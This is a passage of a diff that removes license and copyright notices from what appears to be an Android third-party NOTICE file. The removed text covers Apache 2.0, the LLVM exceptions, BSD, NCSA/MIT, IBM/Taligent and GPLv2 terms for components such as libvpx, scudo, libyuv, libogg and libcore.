-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
-
-
-======================================================================
-external/libvpx/NOTICE
-
-Copyright (c) 2010, The WebM Project authors. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-  * Redistributions of source code must retain the above copyright
-    notice, this list of conditions and the following disclaimer.
-
-  * Redistributions in binary form must reproduce the above copyright
-    notice, this list of conditions and the following disclaimer in
-    the documentation and/or other materials provided with the
-    distribution.
-
-  * Neither the name of Google, nor the WebM Project, nor the names
-    of its contributors may be used to endorse or promote products
-    derived from this software without specific prior written
-    permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-
-======================================================================
-external/gwp_asan/LICENSE
-external/scudo/LICENSE
-
-==============================================================================
-The LLVM Project is under the Apache License v2.0 with LLVM Exceptions:
-==============================================================================
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-    TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-    1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-    2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-    3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-    4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-    5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-    6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-    7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-    8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-    9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-    END OF TERMS AND CONDITIONS
-
-    APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-    Copyright [yyyy] [name of copyright owner]
-
-    Licensed under the Apache License, Version 2.0 (the "License");
-    you may not use this file except in compliance with the License.
-    You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-    Unless required by applicable law or agreed to in writing, software
-    distributed under the License is distributed on an "AS IS" BASIS,
-    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-    See the License for the specific language governing permissions and
-    limitations under the License.
-
-
----- LLVM Exceptions to the Apache 2.0 License ----
-
-As an exception, if, as a result of your compiling your source code, portions
-of this Software are embedded into an Object form of such source code, you
-may redistribute such embedded portions in such Object form without complying
-with the conditions of Sections 4(a), 4(b) and 4(d) of the License.
-
-In addition, if you combine or link compiled forms of this Software with
-software that is licensed under the GPLv2 ("Combined Software") and if a
-court of competent jurisdiction determines that the patent provision (Section
-3), the indemnity provision (Section 9) or other Section of the License
-conflicts with the conditions of the GPLv2, you may retroactively and
-prospectively choose to deem waived or otherwise exclude such Section(s) of
-the License, but only in their entirety and only with respect to the Combined
-Software.
-
-==============================================================================
-Software from third parties included in the LLVM Project:
-==============================================================================
-The LLVM Project contains third party software which is under different license
-terms. All such code will be identified clearly using at least one of two
-mechanisms:
-1) It will be in a separate directory tree with its own `LICENSE.txt` or
-   `LICENSE` file at the top containing the specific license and restrictions
-   which apply to that software, or
-2) It will contain specific license and restriction terms at the top of every
-   file.
-
-==============================================================================
-Legacy LLVM License (https://llvm.org/docs/DeveloperPolicy.html#legacy):
-==============================================================================
-
-The compiler_rt library is dual licensed under both the University of Illinois
-"BSD-Like" license and the MIT license.  As a user of this code you may choose
-to use it under either license.  As a contributor, you agree to allow your code
-to be used under both.
-
-Full text of the relevant licenses is included below.
-
-==============================================================================
-
-University of Illinois/NCSA
-Open Source License
-
-Copyright (c) 2009-2019 by the contributors listed in CREDITS.TXT
-
-All rights reserved.
-
-Developed by:
-
-    LLVM Team
-
-    University of Illinois at Urbana-Champaign
-
-    http://llvm.org
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal with
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimers.
-
-    * Redistributions in binary form must reproduce the above copyright notice,
-      this list of conditions and the following disclaimers in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the names of the LLVM Team, University of Illinois at
-      Urbana-Champaign, nor the names of its contributors may be used to
-      endorse or promote products derived from this Software without specific
-      prior written permission.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL THE
-CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
-SOFTWARE.
-
-==============================================================================
-
-Copyright (c) 2009-2015 by the contributors listed in CREDITS.TXT
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
-======================================================================
-external/libyuv/LICENSE
-
-Copyright (c) 2011, Google Inc. All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are
-met:
-
-  * Redistributions of source code must retain the above copyright
-    notice, this list of conditions and the following disclaimer.
-
-  * Redistributions in binary form must reproduce the above copyright
-    notice, this list of conditions and the following disclaimer in
-    the documentation and/or other materials provided with the
-    distribution.
-
-  * Neither the name of Google nor the names of its contributors may
-    be used to endorse or promote products derived from this software
-    without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-external/libogg/NOTICE
-
-Copyright (c) 2002, Xiph.org Foundation
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-
-- Redistributions of source code must retain the above copyright
-notice, this list of conditions and the following disclaimer.
-
-- Redistributions in binary form must reproduce the above copyright
-notice, this list of conditions and the following disclaimer in the
-documentation and/or other materials provided with the distribution.
-
-- Neither the name of the Xiph.org Foundation nor the names of its
-contributors may be used to endorse or promote products derived from
-this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE FOUNDATION
-OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-======================================================================
-libcore/ojluni/NOTICE
-
- ******************************************************************************
-Copyright (C) 2003, International Business Machines Corporation and   *
-others. All Rights Reserved.                                               *
- ******************************************************************************
-
-Created on May 2, 2003
-
-To change the template for this generated file go to
-Window>Preferences>Java>Code Generation>Code and Comments
-
--------------------------------------------------------------------
-
- *******************************************************************************
-(C) Copyright IBM Corp. 1996-2005 - All Rights Reserved                     *
-                                                                            *
-The original version of this source code and documentation is copyrighted   *
-and owned by IBM, These materials are provided under terms of a License     *
-Agreement between IBM and Sun. This technology is protected by multiple     *
-US and International patents. This notice and attribution to IBM may not    *
-to removed.                                                                 *
- *******************************************************************************
-
--------------------------------------------------------------------
-
- *******************************************************************************
-(C) Copyright IBM Corp. and others, 1996-2009 - All Rights Reserved         *
-                                                                            *
-The original version of this source code and documentation is copyrighted   *
-and owned by IBM, These materials are provided under terms of a License     *
-Agreement between IBM and Sun. This technology is protected by multiple     *
-US and International patents. This notice and attribution to IBM may not    *
-to removed.                                                                 *
- *******************************************************************************
-
--------------------------------------------------------------------
-
- *******************************************************************************
-(C) Copyright IBM Corp. and others, 1996-2009 - All Rights Reserved         *
-                                                                            *
-The original version of this source code and documentation is copyrighted   *
-and owned by IBM, These materials are provided under terms of a License     *
-Agreement between IBM and Sun. This technology is protected by multiple     *
-US and International patents. This notice and attribution to IBM may not    *
-to removed.                                                                 *
- *******************************************************************************
-*   file name:  UBiDiProps.java
-*   encoding:   US-ASCII
-*   tab size:   8 (not used)
-*   indentation:4
-*
-*   created on: 2005jan16
-*   created by: Markus W. Scherer
-*
-*   Low-level Unicode bidi/shaping properties access.
-*   Java port of ubidi_props.h/.c.
-
--------------------------------------------------------------------
-
- *******************************************************************************
-Copyright (C) 2003-2004, International Business Machines Corporation and         *
-others. All Rights Reserved.                                                *
- *******************************************************************************
-
--------------------------------------------------------------------
-
- *******************************************************************************
-Copyright (C) 2003-2004, International Business Machines Corporation and    *
-others. All Rights Reserved.                                                *
- *******************************************************************************
-
--------------------------------------------------------------------
-
- *******************************************************************************
-Copyright (C) 2004, International Business Machines Corporation and         *
-others. All Rights Reserved.                                                *
- *******************************************************************************
-
--------------------------------------------------------------------
-
- *******************************************************************************
-Copyright (C) 2009, International Business Machines Corporation and         *
-others. All Rights Reserved.                                                *
- *******************************************************************************
-
--------------------------------------------------------------------
-
- *******************************************************************************
-Copyright (C) 2009-2010, International Business Machines Corporation and    *
-others. All Rights Reserved.                                                *
- *******************************************************************************
-
--------------------------------------------------------------------
-
- *******************************************************************************
-Copyright (C) 2010, International Business Machines Corporation and         *
-others. All Rights Reserved.                                                *
- *******************************************************************************
-
--------------------------------------------------------------------
-
-(C) Copyright IBM Corp. 1996-2003 - All Rights Reserved                     *
-                                                                            *
-The original version of this source code and documentation is copyrighted   *
-and owned by IBM, These materials are provided under terms of a License     *
-Agreement between IBM and Sun. This technology is protected by multiple     *
-US and International patents. This notice and attribution to IBM may not    *
-to removed.                                                                 *
-#******************************************************************************
-
-This locale data is based on the ICU's Vietnamese locale data (rev. 1.38)
-found at:
-
-http://oss.software.ibm.com/cvs/icu/icu/source/data/locales/vi.txt?rev=1.38
-
--------------------------------------------------------------------
-
-(C) Copyright IBM Corp. 1999-2003 - All Rights Reserved
-
-The original version of this source code and documentation is
-copyrighted and owned by IBM. These materials are provided
-under terms of a License Agreement between IBM and Sun.
-This technology is protected by multiple US and International
-patents. This notice and attribution to IBM may not be removed.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996 - 1997, All Rights Reserved
-(C) Copyright IBM Corp. 1996 - 1998, All Rights Reserved
-
-The original version of this source code and documentation is
-copyrighted and owned by Taligent, Inc., a wholly-owned subsidiary
-of IBM. These materials are provided under terms of a License
-Agreement between Taligent and Sun. This technology is protected
-by multiple US and International patents.
-
-This notice and attribution to Taligent may not be removed.
-Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996 - All Rights Reserved
-(C) Copyright IBM Corp. 1996 - All Rights Reserved
-
-  The original version of this source code and documentation is copyrighted
-and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
-materials are provided under terms of a License Agreement between Taligent
-and Sun. This technology is protected by multiple US and International
-patents. This notice and attribution to Taligent may not be removed.
-  Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996 - All Rights Reserved
-(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
-
-  The original version of this source code and documentation is copyrighted
-and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
-materials are provided under terms of a License Agreement between Taligent
-and Sun. This technology is protected by multiple US and International
-patents. This notice and attribution to Taligent may not be removed.
-  Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996 - 1998 - All Rights Reserved
-
-  The original version of this source code and documentation is copyrighted
-and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
-materials are provided under terms of a License Agreement between Taligent
-and Sun. This technology is protected by multiple US and International
-patents. This notice and attribution to Taligent may not be removed.
-  Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996 - 1998 - All Rights Reserved
-
-The original version of this source code and documentation
-is copyrighted and owned by Taligent, Inc., a wholly-owned
-subsidiary of IBM. These materials are provided under terms
-of a License Agreement between Taligent and Sun. This technology
-is protected by multiple US and International patents.
-
-This notice and attribution to Taligent may not be removed.
-Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996 - 1999 - All Rights Reserved
-
-The original version of this source code and documentation
-is copyrighted and owned by Taligent, Inc., a wholly-owned
-subsidiary of IBM. These materials are provided under terms
-of a License Agreement between Taligent and Sun. This technology
-is protected by multiple US and International patents.
-
-This notice and attribution to Taligent may not be removed.
-Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996 - 2002 - All Rights Reserved
-
-The original version of this source code and documentation
-is copyrighted and owned by Taligent, Inc., a wholly-owned
-subsidiary of IBM. These materials are provided under terms
-of a License Agreement between Taligent and Sun. This technology
-is protected by multiple US and International patents.
-
-This notice and attribution to Taligent may not be removed.
-Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996, 1997 - All Rights Reserved
-
-  The original version of this source code and documentation is copyrighted
-and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
-materials are provided under terms of a License Agreement between Taligent
-and Sun. This technology is protected by multiple US and International
-patents. This notice and attribution to Taligent may not be removed.
-  Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996, 1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
-
-  The original version of this source code and documentation is copyrighted
-and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
-materials are provided under terms of a License Agreement between Taligent
-and Sun. This technology is protected by multiple US and International
-patents. This notice and attribution to Taligent may not be removed.
-  Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996,1997 - All Rights Reserved
-(C) Copyright IBM Corp. 1996, 1997 - All Rights Reserved
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996-1998 -  All Rights Reserved
-(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
-
-  The original version of this source code and documentation is copyrighted
-and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
-materials are provided under terms of a License Agreement between Taligent
-and Sun. This technology is protected by multiple US and International
-patents. This notice and attribution to Taligent may not be removed.
-  Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-(C) Copyright Taligent, Inc. 1996-1998 - All Rights Reserved
-(C) Copyright IBM Corp. 1996-1998 - All Rights Reserved
-
-  The original version of this source code and documentation is copyrighted
-and owned by Taligent, Inc., a wholly-owned subsidiary of IBM. These
-materials are provided under terms of a License Agreement between Taligent
-and Sun. This technology is protected by multiple US and International
-patents. This notice and attribution to Taligent may not be removed.
-  Taligent is a registered trademark of Taligent, Inc.
-
--------------------------------------------------------------------
-
-*******************************************************************************
-* Copyright (C) 1996-2004, International Business Machines Corporation and    *
-* others. All Rights Reserved.                                                *
-*******************************************************************************
-
--------------------------------------------------------------------
-
-Oracle designates certain files in this repository as subject to the "Classpath" exception.
-The designated files include the following notices. In the following notices, the
-LICENSE file referred to is:
-
-**********************************
-START LICENSE file
-**********************************
-
-The GNU General Public License (GPL)
-
-Version 2, June 1991
-
-Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-
-Everyone is permitted to copy and distribute verbatim copies of this license
-document, but changing it is not allowed.
-
-Preamble
-
-The licenses for most software are designed to take away your freedom to share
-and change it.  By contrast, the GNU General Public License is intended to
-guarantee your freedom to share and change free software--to make sure the
-software is free for all its users.  This General Public License applies to
-most of the Free Software Foundation's software and to any other program whose
-authors commit to using it.  (Some other Free Software Foundation software is
-covered by the GNU Library General Public License instead.) You can apply it to
-your programs, too.
-
-When we speak of free software, we are referring to freedom, not price.  Our
-General Public Licenses are designed to make sure that you have the freedom to
-distribute copies of free software (and charge for this service if you wish),
-that you receive source code or can get it if you want it, that you can change
-the software or use pieces of it in new free programs; and that you know you
-can do these things.
-
-To protect your rights, we need to make restrictions that forbid anyone to deny
-you these rights or to ask you to surrender the rights.  These restrictions
-translate to certain responsibilities for you if you distribute copies of the
-software, or if you modify it.
-
-For example, if you distribute copies of such a program, whether gratis or for
-a fee, you must give the recipients all the rights that you have.  You must
-make sure that they, too, receive or can get the source code.  And you must
-show them these terms so they know their rights.
-
-We protect your rights with two steps: (1) copyright the software, and (2)
-offer you this license which gives you legal permission to copy, distribute
-and/or modify the software.
-
-Also, for each author's protection and ours, we want to make certain that
-everyone understands that there is no warranty for this free software.  If the
-software is modified by someone else and passed on, we want its recipients to
-know that what they have is not the original, so that any problems introduced
-by others will not reflect on the original authors' reputations.
-
-Finally, any free program is threatened constantly by software patents.  We
-wish to avoid the danger that redistributors of a free program will
-individually obtain patent licenses, in effect making the program proprietary.
-To prevent this, we have made it clear that any patent must be licensed for
-everyone's free use or not licensed at all.
-
-The precise terms and conditions for copying, distribution and modification
-follow.
-
